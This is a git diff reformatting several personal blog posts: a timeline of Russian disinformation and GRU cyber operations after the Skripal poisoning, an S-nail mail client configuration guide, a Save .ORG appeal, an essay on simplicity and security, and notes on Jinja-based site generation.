Here are a few interesting things to note: -1. The entire process starting with the OPCW and the labs is - top-secret. How did Russia even know Speiz was one of the labs? -2. On April 11th, the OPCW mentioned BZ in a report confirming Porton - Down's findings. Note that Russia is a part of OPCW, and are fully - aware of the quality control measures in place. Surely they knew - about the reason for BZ's use? +1. The entire process starting with the OPCW and the labs is top-secret. +How did Russia even know Speiz was one of the labs? +2. On April 11th, the OPCW mentioned BZ in a report confirming Porton + Down's findings. Note that Russia is a part of OPCW, and are fully + aware of the quality control measures in place. Surely they knew + about the reason for BZ's use? Regardless, the Russian version of the story spread fast. They cashed in on two major factors to plant this disinfo: -1. "NATO bad" : Overused, but surprisingly works. People love a story - that goes full 180°. -2. Spiez can't defend itself: At the risk of revealing that it was one - of the facilities testing the toxin, Spiez was only able to "not - comment". +1. "NATO bad" : Overused, but surprisingly works. People love a story + that goes full 180°. +2. Spiez can't defend itself: At the risk of revealing that it was one + of the facilities testing the toxin, Spiez was only able to "not + comment". ### April 3, 2018 -- The Independent publishes a story based on an interview with the - chief executive of Porton Down, Gary Aitkenhead. -- Aitkenhead says they've identified Novichok but "have not identified - the precise source". -- Days earlier, Boris Johnson (then-Foreign Secretary) claimed that - Porton Down confirmed the origin of the toxin to be Russia. -- This discrepancy was immediately promoted by Moscow, and its network - all over. +- The Independent publishes a story based on an interview with the chief +executive of Porton Down, Gary Aitkenhead. +- Aitkenhead says they've identified Novichok but "have not identified +the precise source". +- Days earlier, Boris Johnson (then-Foreign Secretary) claimed that +Porton Down confirmed the origin of the toxin to be Russia. +- This discrepancy was immediately promoted by Moscow, and its network +all over. -This one is especially interesting because of how *simple* it is to +This one is especially interesting because of how _simple_ it is to exploit a small contradiction, that could've been an honest mistake. This episode is also interesting because the British actually attempted damage control this time. Porton Down tried to clarify Aitkenhead's -statement via a tweet[^2]: +statement via a tweet[^dstltweet]: -> Our experts have precisely identified the nerve agent as a Novichok. -> It is not, and has never been, our responsibility to confirm the -> source of the agent @skynews @UKmoments +> Our experts have precisely identified the nerve agent as a Novichok. +> It is not, and has never been, our responsibility to confirm the source +> of the agent @skynews @UKmoments + +[^dstltweet]: https://twitter.com/dstlmod/status/981220158680260613 -Quoting the [Defense -One](https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/) +Quoting the [Defense One](https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/) article on the matter: -> The episode is seen by those inside Britain's security communications -> team as the most serious misstep of the crisis, which for a period -> caused real concern. U.K. officials told me that, in hindsight, -> Aikenhead could never have blamed Russia directly, because that was -> not his job---all he was qualified to do was identify the chemical. -> Johnson, in going too far, was more damaging. Two years on, he is now -> prime minister. +> The episode is seen by those inside Britain’s security communications team +> as the most serious misstep of the crisis, which for a period caused real +> concern. U.K. officials told me that, in hindsight, Aikenhead could never +> have blamed Russia directly, because that was not his job—all he was +> qualified to do was identify the chemical. Johnson, in going too far, +> was more damaging. Two years on, he is now prime minister. ### May 2018 -- OPCW facilities receive an email from Spiez inviting them to a - conference. -- The conference itself is real, and has been organized before. -- The email however, was not---attached was a Word document containing - malware. -- Also seen were inconsistencies in the email formatting, from what - was normal. +- OPCW facilities receive an email from Spiez inviting them to +a conference. +- The conference itself is real, and has been organized before. +- The email however, was not -- attached was a Word document containing +malware. +- Also seen were inconsistencies in the email formatting, from what was +normal. This spearphishing campaign was never offically attributed to Moscow, -but there are a lot of tells here that point to it being the work of a -state actor: +but there are a lot of tells here that point to it being the work of +a state actor: -1. Attack targetting a specific group of individuals. -2. Relatively high level of sophistication---email formatting, - malicious Word doc, etc. +1. Attack targetting a specific group of individuals. +2. Relatively high level of sophistication -- email formatting, + malicious Word doc, etc. However, the British NCSC have deemed with "high confidence" that the attack was perpetrated by GRU. In the UK intelligence parlance, "highly likely" / "high confidence" usually means "definitely". -Britain's defense ------------------ +## Britain's defense ### September 5, 2018 The UK took a lot of hits in 2018, but they eventually came back: -- Metropolitan Police has a meeting with the press, releasing their - findings. -- CCTV footage showing the two Russian hitmen was released. -- Traces of Novichok identified in their hotel room. +- Metropolitan Police has a meeting with the press, releasing their +findings. +- CCTV footage showing the two Russian hitmen was released. +- Traces of Novichok identified in their hotel room. -This sudden news explosion from Britan's side completely bulldozed the -information space pertaining to the entire event. According to Defense -One: +This sudden news explosion from Britan's side completely +bulldozed the information space pertaining to the entire event. +According to Defense One: -> Only two of the 10 most viral stories in the weeks following the -> announcement were sympathetic to Russia, according to NewsWhip. -> Finally, officials recalled, it felt as though the U.K. was the -> aggressor. "This was all kept secret to put the Russians on the hop," -> one told me. "Their response was all over the place from this point. -> It was the turning point." +> Only two of the 10 most viral stories in the weeks following the announcement +> were sympathetic to Russia, according to NewsWhip. Finally, officials recalled, +> it felt as though the U.K. was the aggressor. “This was all kept secret to +> put the Russians on the hop,” one told me. “Their response was all over the +> place from this point. It was the turning point.” Earlier in April, 4 GRU agents were arrested in the Netherlands, who were there to execute a cyber operation against the OPCW (located in The@@ -134,32 +141,26 @@
> The abandoned equipment revealed that the GRU unit involved had sent > officers around the world to conduct similar cyberattacks. They had > been in Malaysia trying to steal information about the investigation -> into the downed Malaysia Airlines Flight 17, and at a hotel in -> Lausanne, Switzerland, where a World Anti-Doping Agency (WADA) -> conference was taking place as Russia faced sanctions from the -> International Olympic Committee. Britain has said that the same GRU -> unit attempted to compromise Foreign Office and Porton Down computer -> systems after the Skripal poisoning. +> into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne, +> Switzerland, where a World Anti-Doping Agency (WADA) conference was taking +> place as Russia faced sanctions from the International Olympic Committee. +> Britain has said that the same GRU unit attempted to compromise Foreign +> Office and Porton Down computer systems after the Skripal poisoning. ### October 4, 2018 UK made the arrests public, published a list of infractions commited by Russia, along with the specific GRU unit that was caught. -During this period, just one of the top 25 viral stories was from a -pro-Russian outlet, RT---that too a fairly straightforward piece. +During this period, just one of the top 25 viral stories was from +a pro-Russian outlet, RT -- that too a fairly straightforward piece. -Wrapping up ------------ +## Wrapping up As with conventional warfare, it's hard to determine who won. Britain -may have had the last blow, but Moscow---yet again---depicted their +may have had the last blow, but Moscow -- yet again---depicted their finesse in information warfare. Their ability to seize unexpected openings, gather intel to facilitate their disinformation campaigns, and -their cyber capabilities makes them a formidable threat. +their cyber capabilities makes them a formidable threat. 2020 will be fun, to say the least. - -[^1]: https://en.wikipedia.org/wiki/Sergei\_Skripal - -[^2]: https://twitter.com/dstlmod/status/981220158680260613
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pages/txt/s-nail.txt
→
pages/txt/s-nail.txt
@@ -1,12 +1,12 @@
--- -date: '2020-05-06' +template: +url: s-nail +title: The S-nail mail client subtitle: And how to achieve a usable configuration for IMAP/SMTP -title: 'The S-nail mail client' -url: 's-nail' +date: 2020-05-06 --- -TL;DR: Here's my -[`.mailrc`](https://github.com/icyphox/dotfiles/blob/master/home/.mailrc). +TL;DR: Here's my [`.mailrc`](https://github.com/icyphox/dotfiles/blob/master/home/.mailrc). As I'd mentioned in my blog post about [mael](/blog/mael), I've been on the lookout for a good, usable mail client. As it happens, I found@@ -15,15 +15,17 @@ isn't all too easy after all. S-nail turned out to be the perfect client
for me, but I had to invest quite some time in reading the [very thorough manual](https://www.sdaoden.eu/code-nail.html) and exchanging emails with its [very friendly author](https://www.sdaoden.eu). I did it -so you don't have to[^1], and I present to you this guide. +so you don't have to[^read-man], and I present to you +this guide. -basic settings --------------- +[^read-man]: Honestly, read the man page (and email Steffen!) -- there's + a ton of useful options in there. + +## basic settings These settings below should guarantee some sane defaults to get started with. Comments added for context. - -``` {.conf} +```conf # enable upward compatibility with S-nail v15.0 set v15-compat@@ -61,29 +63,30 @@ # sort mail by date (try 'thread' for threaded view)
set autosort=date ``` -authentication --------------- +## authentication With these out of the way, we can move on to configuring our -account---authenticating IMAP and SMTP. Before that, however, we'll have -to create a `~/.netrc` file to store our account credentials. +account -- authenticating IMAP and SMTP. Before that, however, we'll +have to create a `~/.netrc` file to store our account credentials. (This of course, assumes that your SMTP and IMAP credentials are the same. I don't know what to do otherwise. ) -``` {.netrc} +```netrc machine *.domain.tld login user@domain.tld password hunter2 ``` Once done, encrypt this file using `gpg` / `gpg2`. This is optional, but recommended. - $ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc +``` +$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc +``` You can now delete the plaintext `.netrc` file. Now add these lines to your `.mailrc`: -``` {.conf} +```conf set netrc-lookup set netrc-pipe='gpg2 -qd ~/.netrc.gpg' ```@@ -91,14 +94,14 @@
Before we define our account block, add these two lines for a nicer IMAP experience: -``` {.conf} +```conf set imap-cache=~/.cache/nail set imap-keepalive=240 ``` -Defining an account is dead simple. +Defining an account is dead simple. -``` {.conf} +```conf account "personal" { localopts yes set from="Your Name <user@domain.tld>"@@ -127,53 +130,53 @@
You might also want to trash mail, instead of perma-deleting them (`delete` does that). To achieve this, we define an alias: - define trash { - move "$@" +Trash - } +``` +define trash { + move "$@" +Trash +} - commandalias del call trash +commandalias del call trash +``` Replace `+Trash` with the relative path to your trash folder. -aesthetics ----------- + +## aesthetics The fun stuff. I don't feel like explaining what these do (hint: I don't fully understand it either), so just copy-paste it and mess around with the colors: - # use whatever symbol you fancy - set prompt='> ' +``` +# use whatever symbol you fancy +set prompt='> ' - colour 256 sum-dotmark ft=bold,fg=13 dot - colour 256 sum-header fg=007 older - colour 256 sum-header bg=008 dot - colour 256 sum-header fg=white - colour 256 sum-thread bg=008 dot - colour 256 sum-thread fg=cyan +colour 256 sum-dotmark ft=bold,fg=13 dot +colour 256 sum-header fg=007 older +colour 256 sum-header bg=008 dot +colour 256 sum-header fg=white +colour 256 sum-thread bg=008 dot +colour 256 sum-thread fg=cyan +``` The prompt can be configured more extensively, but I don't need it. Read the man page if you do. -essential commands ------------------- +## essential commands Eh, you can just read the man page, I guess. But here's a quick list off the top of my head: -- `headers`: Lists all messages, with the date, subject etc. -- `mail`: Compose mail. -- `<number>`: Read mail by specifiying its number on the message list. -- `delete <number>`: Delete mail. -- `new <number>`: Mark as new (unread). -- `file <shortcut or path to folder>`: Change folders. For example: - `file sent` +- `headers`: Lists all messages, with the date, subject etc. +- `mail`: Compose mail. +- `<number>`: Read mail by specifiying its number on the message list. +- `delete <number>`: Delete mail. +- `new <number>`: Mark as new (unread). +- `file <shortcut or path to folder>`: Change folders. For example: `file + sent` That's all there is to it. -*This is day 2 of the \#100DaysToOffload challenge. I didn't think I'd +*This is day 2 of the #100DaysToOffload challenge. I didn't think I'd participate, until today. So yesterday's post is day 1. Will I keep at it? I dunno. We'll see.* - -[^1]: Honestly, read the man page (and email Steffen!)---there's a ton - of useful options in there.
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pages/txt/save-org.txt
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pages/txt/save-org.txt
@@ -1,67 +1,63 @@
--- -date: '2019-11-23' -subtitle: 'PIR is getting sold to a private firm, and here''s why it''s - bad' -title: 'Save .ORG!' -url: 'save-org' +template: +title: Save .ORG! +subtitle: PIR is getting sold to a private firm, and here's why it's bad +date: 2019-11-23 +url: save-org --- The .ORG top-level domain introduced in 1985, has been operated by the -[Public Interest -Registry](https://en.wikipedia.org/wiki/Public_Interest_Registry) since -2003. The .ORG TLD is used primarily by communities, free and open -source projects, and other non-profit organizations---although the use -of the TLD isn't restricted to non-profits. +[Public Interest Registry](https://en.wikipedia.org/wiki/Public_Interest_Registry) since +2003. The .ORG TLD is used primarily by communities, free and open source projects, +and other non-profit organizations -- although the use of the TLD isn't +restricted to non-profits. The Internet Society or ISOC, the group that created the PIR, has -decided to sell the registry over to a private equity firm---Ethos +decided to sell the registry over to a private equity firm -- Ethos Capital. -What's the problem? -------------------- +## What's the problem? There are around 10 million .ORG TLDs registered, and a good portion of them are non-profits and non-governmental organizations. As the name -suggests, they don't earn any profits and all their operations rely on a -thin inflow of donations. A private firm having control of the .ORG +suggests, they don't earn any profits and all their operations rely on +a thin inflow of donations. A private firm having control of the .ORG domain gives them the power to make decisions that would be unfavourable to the .ORG community: -- They control the registration/renewal fees of the TLD. They can hike - the price if they wish to. As is stands, NGOs already earn very - little---a .ORG price hike would put them in a very icky situation. +- They control the registration/renewal fees of the TLD. They can +hike the price if they wish to. As is stands, NGOs already earn very +little -- a .ORG price hike would put them in a very icky situation. -- They can introduce [Rights Protection - Mechanisms](https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en) - or RPMs, which are essentially legal statements that can---if not - correctly developed---jeopardize / censor completely legal - non-profit activities. +- They can introduce [Rights Protection +Mechanisms](https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en) +or RPMs, which are essentially legal statements that can -- if not +correctly developed -- jeopardize / censor completely legal non-profit +activities. -- Lastly, they can suspend domains at the whim of state actors. It - isn't news that nation states go after NGOs, targetting them with - allegations of illegal activity. The registry being a private firm - only simplifies the process. +- Lastly, they can suspend domains at the whim of state actors. It isn't +news that nation states go after NGOs, targetting them with allegations +of illegal activity. The registry being a private firm only simplifies +the process. Sure, these are just "what ifs" and speculations, but the risk is real. Such power can be abused and this would be severly detrimental to NGOs globally. -How can I help? ---------------- +## How can I help? We need to get the ISOC to **stop the sale**. Head over to https://savedotorg.org and sign their letter. An email is sent on your behalf to: -- Andrew Sullivan, CEO, ISOC -- Jon Nevett, CEO, PIR -- Maarten Botterman, Board Chair, ICANN -- Göran Marby, CEO, ICANN +* Andrew Sullivan, CEO, ISOC +* Jon Nevett, CEO, PIR +* Maarten Botterman, Board Chair, ICANN +* Göran Marby, CEO, ICANN -Closing thoughts ----------------- +## Closing thoughts The Internet that we all love and care for is slowly being subsumed by megacorps and private firms, who's only motive is to make a profit. The Internet was meant to be free, and we'd better act now if we want that -freedom. The future looks bleak---I hope we aren't too late. +freedom. The future looks bleak -- I hope we aren't too late.
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pages/txt/simplicity-security.txt
→
pages/txt/simplicity-security.txt
@@ -1,8 +1,9 @@
--- -date: '2020-05-07' +template: +url: simplicity-security +title: Simplicity (mostly) guarantees security subtitle: This is why I meme mnmlsm so much -title: Simplicity (mostly) guarantees security -url: 'simplicity-security' +date: 2020-05-07 --- Although it is a very comfy one, it's not just an aesthetic. Simplicity@@ -11,39 +12,41 @@ in the title because human error cannot be discounted, and nothing is
perfect. However, the simpler your tech stack is, it is inherentely more secure than complex monstrosities. -Let's look at systemd, for example. It's got over 1.2 million lines of -code. "Hurr durr but LoC doesn't mean anything!" Sure ok, but can you -*imagine* auditing this? How many times has it even been audited? I -couldn't find any audit reports. No, the developers are not security -engineers and a trustworthy audit must be done by a third-party. What's -scarier, is this thing runs on a huge percentage of the world's critical -infrastructure and contains privileged core subsystems. +Let's look at systemd, for example. It's got over 1.2 million +lines of code. "Hurr durr but LoC doesn't mean anything!" Sure ok, but +can you _imagine_ auditing this? How many times has it even been +audited? I couldn't find any audit reports. No, the developers are not +security engineers and a trustworthy audit must be done by +a third-party. What's scarier, is this thing runs on a huge percentage +of the world's critical infrastructure and contains privileged core +subsystems. "B-but Linux is much bigger!" Indeed, it is, but it has a thousand times -(if not more) the number of eyes looking at the code, and there have -been multiple third-party audits. There are hundreds of independent orgs -and multiple security teams looking at it. That's not the case with -systemd---it's probably just RedHat. +(if not more) the number of eyes looking at the code, and there have been +multiple third-party audits. There are hundreds of independent orgs and +multiple security teams looking at it. That's not the case with +systemd -- it's probably just RedHat. Compare this to a bunch of shell scripts. Agreed, writing safe shell can be hard and there are a ton of weird edge-cases depending on your shell -implementation, but the distinction here is *you* wrote it. Which means, -you can identify what went wrong---things are predictable. systemd, -however, is a large blackbox, and its state at runtime is largely +implementation, but the distinction here is _you_ wrote it. Which means, +you can identify what went wrong -- things are predictable. +systemd, however, is a large blackbox, and its state at runtime is largely unprovable and unpredictable. I am certain even the developers don't know. And this is why I whine about complexity so much. A complex, unpredictable system is nothing more than a large attack surface. Drew DeVault, head of [sourcehut](https://sourcehut.org) wrote something -similar (yes that's the link, yes it has a typo).: +similar (yes that's the link, yes it has a typo).: https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/ -He manually provisions all sourcehut infrastructure, because tools like -Salt, Kubernetes etc. are just like systemd in our example---large -monstrosities which can get you RCE'd. Don't believe me? See +He manually provisions all +sourcehut infrastructure, because tools like Salt, Kubernetes etc. are +just like systemd in our example -- large monstrosities which can get you +RCE'd. Don't believe me? See [this](https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/). -*This was day 3 of the \#100DaysToOffload challenge. It came out like a -systemd-hate post, but really, I couldn't think of a better example.* +*This was day 3 of the #100DaysToOffload challenge. It came out like +a systemd-hate post, but really, I couldn't think of a better example.*
M
pages/txt/site-changes.txt
→
pages/txt/site-changes.txt
@@ -1,8 +1,9 @@
--- -date: '2020-05-27' -subtitle: 'New stuff at the {back,front}end' +template: +url: site-changes title: Site changes -url: 'site-changes' +subtitle: New stuff at the {back,front}end +date: 2020-05-27 --- The past couple of days, I've spent a fair amount of time tweaking this@@ -14,46 +15,43 @@ changes that were made were performance improvements in the
`update_index.py` script, and the addition of `openring.py`, which you can see at the very bottom of this post! -speeding up index page generation ---------------------------------- +## speeding up index page generation -The old script---the one that featured in [Hacky -scripts](/blog/hacky-scripts)---was absolutely ridiculous, and not to -mention *super* slow. Here's what it did: +The old script -- the one that featured in [Hacky +scripts](/blog/hacky-scripts) -- was absolutely ridiculous, and not to +mention _super_ slow. Here's what it did: -- got the most recent file (latest post) by sorting all posts by - `mtime`. -- parsed the markdown frontmatter and created a markdown table entry - like: +- got the most recent file (latest post) by sorting all posts by + `mtime`. +- parsed the markdown frontmatter and created a markdown table entry + like: -``` {.python} +```python line = f"| [{meta['title']}]({url}) | `{meta['date']}` |" ``` +- updated the markdown table (in `_index.md`) by in-place editing the + markdown, with the line created earlier -- for the latest post. +- finally, I'd have to _rebuild_ the entire site since this markdown + hackery would happen at the very end of the build, i.e, didn't + actually get rendered itself. -- updated the markdown table (in `_index.md`) by in-place editing the - markdown, with the line created earlier---for the latest post. -- finally, I'd have to *rebuild* the entire site since this markdown - hackery would happen at the very end of the build, i.e, didn't - actually get rendered itself. +That...probably didn't make much sense to you, did it? Don't bother. +I don't know what I was thinking when I wrote that mess. So with how it +_was_ done aside, here's how it's done now: -That...probably didn't make much sense to you, did it? Don't bother. I -don't know what I was thinking when I wrote that mess. So with how it -*was* done aside, here's how it's done now: - -- the metadata for all posts are nicely fetched and sorted using - `python-frontmatter`. -- the metadata list is fed into Jinja for use in templating, and is - rendered very nicely using a simple `for` expression: +- the metadata for all posts are nicely fetched and sorted using + `python-frontmatter`. +- the metadata list is fed into Jinja for use in templating, and is + rendered very nicely using a simple `for` expression: -```{=html} -<!-- --> +``` +{% for p in posts %} + <tr> + <td align="left"><a href="/blog/{{ p.url }}">{{ p.title }}</a></td> + <td align="right">{{ p.date }}</td> + </tr> +{% endfor %} ``` - {% for p in posts %} - <tr> - <td align="left"><a href="/blog/{{ p.url }}">{{ p.title }}</a></td> - <td align="right">{{ p.date }}</td> - </tr> - {% endfor %} A neat thing I learnt while working with Jinja, is you can use `DebugUndefined` in your `jinja2.Environment` definition to ignore@@ -61,7 +59,7 @@ uninitialized template variables. Jinja's default behaviour is to remove
all uninitialized variables from the template output. So for instance, if you had: -``` {.html} +```html <body> {{ body }} </body>@@ -71,10 +69,10 @@ {{ footer }}
</footer> ``` -And only `{{ body }}` was initialized in your -`template.render(body=body)`, the output you get would be: +And only `{{ body }}` was initialized in your `template.render(body=body)`, +the output you get would be: -``` {.html} +```html <body> Hey there! </body>@@ -87,7 +85,7 @@ This is annoying if you're attempting to generate your template across
multiple stages, as I was. Now, I initialize my Jinja environment like so: -``` {.python} +```python from jinja2 import DebugUndefined env = jinja2.Environment(loader=template_loader,undefined=DebugUndefined)@@ -96,17 +94,15 @@
I use the same trick for `openring.py` too. Speaking of...let's talk about `openring.py`! -the new webring thing at the bottom ------------------------------------ +## the new webring thing at the bottom -After having seen Drew's -[openring](https://git.sr.ht/~sircmpwn/openring), my -[NIH](https://en.wikipedia.org/wiki/Not_invented_here) kicked in and I -wrote [`openring.py`](https://github.com/icyphox/openring.py). It pretty -much does the exact same thing, except it's a little more composable -with vite. Currently, it reads a random sample of 3 feeds from a list of +After having seen Drew's [openring](https://git.sr.ht/~sircmpwn/openring), +my [NIH](https://en.wikipedia.org/wiki/Not_invented_here) kicked in and I wrote +[`openring.py`](https://github.com/icyphox/openring.py). It pretty much +does the exact same thing, except it's a little more composable with +vite. Currently, it reads a random sample of 3 feeds from a list of feeds provided in a `feeds.txt` file, and updates the webring with those posts. Like a feed-bingo of sorts. ;) -I really like how it turned out---especially the fact that I got my CSS +I really like how it turned out -- especially the fact that I got my CSS grid correct in the first try!
M
templates/text.html
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templates/text.html
@@ -48,23 +48,23 @@ <hr>
<div class="openring"> <div class="openring-feed"> - <h4><a href="https://peppe.rs/posts/auto-currying_rust_functions/">Auto-currying Rust Functions</a></h4> - <p>This post contains a gentle introduction to procedural macros in Rust and a guide to writing a procedural macro to curry Rust functions. The source code for the entire library can be found here. It is also available on crates.io. -The following links might …</p> + <h4><a href="https://jcs.org/2020/05/15/surface_go2">OpenBSD on the Microsoft Surface Go 2 (notaweblog)</a></h4> + <p>I used OpenBSD on the +original Surface Go +back in 2018 and many things worked with the big exception of the internal +Atheros WiFi. +This meant I had to keep it tethered to a USB-C dock for Ethernet or use +a small USB-A WiFi dongle plugged into a less-than-…</p> - <p>via <a href="https://peppe.rs">nerdypepper's μblog</a> on May 09, 2020</p> + <p>via <a href="https://jcs.org/">joshua stein</a> on May 15, 2020</p> </div> <div class="openring-feed"> - <h4><a href="https://drewdevault.com/2020/05/15/Status-update.html">Status update, May 2020</a></h4> - <p>Hello, future readers! I am writing to you from one day in the past. I finished -my plans for today early and thought I’d get a head start on writing the status -updates for tomorrow, or rather, for today. From your reference frame, that is. + <h4><a href="https://www.bellingcat.com/news/2020/05/27/the-boogaloo-movement-is-not-what-you-think/">The Boogaloo Movement Is Not What You Think</a></h4> + <p>On May 26th, crowds gathered in Minneapolis, Minnesota, to protest the death of 46-year-old George Floyd at the hands of the city’s police department. Floyd was black. Many of the protesters were people of color. The department fired four policemen that s…</p> -Let’s start wit…</p> - - <p>via <a href="https://drewdevault.com">Drew DeVault's Blog</a> on May 15, 2020</p> + <p>via <a href="https://www.bellingcat.com">bellingcat</a> on May 27, 2020</p> </div>